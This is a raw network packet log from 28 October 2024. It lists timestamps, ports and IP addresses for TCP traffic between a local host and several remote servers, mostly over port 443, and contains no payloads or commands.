Oct 28, 2024 06:27:10.820693016 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.820739031 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.820748091 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.833085060 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.833157063 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.833164930 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.837795973 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.837888956 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.837897062 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.847851038 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.847912073 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.847919941 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.855464935 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.855509043 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.855515957 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.864607096 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.864665031 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.864686966 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.872550964 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.872575045 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.872618914 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.872682095 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.872847080 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.935678005 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.935744047 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.935772896 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.935802937 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.935827017 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.935889959 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.935973883 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.936398029 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.936454058 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.936467886 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.938500881 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.938534021 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.938555002 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.938570976 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.938633919 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.940340996 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.952569008 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.952621937 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.952645063 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.957325935 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.957391024 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.957405090 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.967495918 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.967560053 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.967575073 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.974742889 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.974811077 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.974826097 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.983211994 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.983285904 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.983300924 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.992049932 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.992084980 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.992109060 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.992119074 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.992136002 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.992165089 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.992469072 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:10.992522955 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.992800951 CET	49735	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:10.992834091 CET	443	49735	142.250.186.100	192.168.2.4
Oct 28, 2024 06:27:11.116597891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:11.116729975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:12.711400032 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:12.711440086 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:12.711505890 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:12.711668968 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:12.711682081 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.594955921 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.595206022 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.595216036 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.596954107 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.597023964 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.597970963 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.598050117 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.598174095 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.598180056 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.648998976 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.707448959 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:13.707484007 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:13.707540035 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:13.707753897 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:13.707770109 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:13.849298000 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.849452019 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.849512100 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.849524021 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.849605083 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.849649906 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.849657059 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.849910021 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.849951029 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.849956036 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.858005047 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.858053923 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.858059883 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.907141924 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.907161951 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.960732937 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.967523098 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.967670918 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.967726946 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.967734098 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.973722935 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.973794937 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.973799944 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.978322029 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.978393078 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.978399038 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.987427950 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.987500906 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.987507105 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.996540070 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:13.996608973 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:13.996614933 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.005585909 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.005664110 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.005671978 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.014760971 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.014811039 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.014818907 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.023848057 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.023899078 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.023904085 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.032242060 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.032285929 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.032291889 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.085776091 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.085793972 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.086169004 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.086218119 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.086222887 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.086338043 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.086380005 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.086385012 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.092312098 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.092359066 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.092365026 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.092464924 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.092508078 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.092513084 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.098529100 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.098577023 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.098582029 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.101984978 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.102035999 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.102042913 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.108988047 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.109031916 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.109036922 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.115251064 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.115328074 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.115333080 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.121643066 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.121702909 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.121711969 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.127943993 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.127998114 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.128002882 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.134216070 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.134277105 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.134282112 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.140513897 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.140575886 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.140588999 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.146697044 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.146753073 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.146759987 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.153012991 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.153068066 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.153078079 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.159239054 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.159302950 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.159310102 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.165605068 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.165668011 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.165673018 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.171866894 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.171922922 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.171927929 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.178105116 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.178169966 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.178174973 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.184853077 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.184909105 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.184916019 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.201455116 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.201524973 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.201531887 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.204586983 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.204637051 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.204643965 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.204864979 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.204911947 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.204920053 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.208956957 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.209016085 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.209022999 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.214742899 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.214808941 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.214816093 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.220411062 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.220477104 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.220485926 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.225975037 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.226041079 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.226047993 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.231564999 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.231626034 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.231633902 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.243716955 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.243788958 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.243801117 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.243881941 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.243932962 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.243940115 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.288894892 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.288907051 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.294847965 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.294934034 CET	443	49745	142.250.184.206	192.168.2.4
Oct 28, 2024 06:27:14.295011044 CET	49745	443	192.168.2.4	142.250.184.206
Oct 28, 2024 06:27:14.492981911 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:14.493030071 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:14.493098021 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:14.495605946 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:14.495623112 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:14.576054096 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.576322079 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.576335907 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.576710939 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.576766014 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.577406883 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.577455997 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.578732967 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.578798056 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.579026937 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.579035997 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.579058886 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.618653059 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.618662119 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.763923883 CET	49672	443	192.168.2.4	173.222.162.32
Oct 28, 2024 06:27:14.763964891 CET	443	49672	173.222.162.32	192.168.2.4
Oct 28, 2024 06:27:14.864455938 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.908680916 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.908703089 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.909955025 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:14.910073042 CET	443	49747	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:14.910151958 CET	49747	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:15.276525021 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:15.276561975 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:15.276792049 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:15.277829885 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:15.277847052 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:15.358623028 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.358736038 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.362670898 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.362683058 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.363117933 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.403732061 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.447356939 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.650755882 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.650964975 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.651062012 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.651153088 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.651173115 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.651182890 CET	49749	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.651190996 CET	443	49749	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.700294018 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.700380087 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:15.700473070 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.700737953 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:15.700757027 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.043610096 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:16.043664932 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:16.043801069 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:16.044004917 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:16.044018030 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:16.068666935 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:16.068808079 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:16.071971893 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:16.071981907 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:16.072381020 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:16.117589951 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:16.567593098 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.567783117 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:16.573417902 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:16.573440075 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.573934078 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.576437950 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:16.619333982 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.825265884 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.825416088 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:16.825539112 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:16.926347017 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:16.958724022 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:16.976361990 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:16.999324083 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.004858017 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.004873037 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.006217003 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.006287098 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.008740902 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.008790016 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.024537086 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.024758101 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.025928020 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.025939941 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.026015997 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.026535988 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:17.026567936 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:17.026582003 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 06:27:17.026592970 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 06:27:17.061654091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:17.061952114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:17.067008018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:17.067301989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:17.067379951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:17.067377090 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.067894936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:17.067933083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:17.073204041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:17.073215961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:17.073345900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:17.073354959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:17.213638067 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.213670015 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.213679075 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.213697910 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.213726997 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.213737011 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.213757992 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.213776112 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.213788033 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.213814020 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.214128971 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.214190006 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.214198112 CET	443	49752	20.109.210.53	192.168.2.4
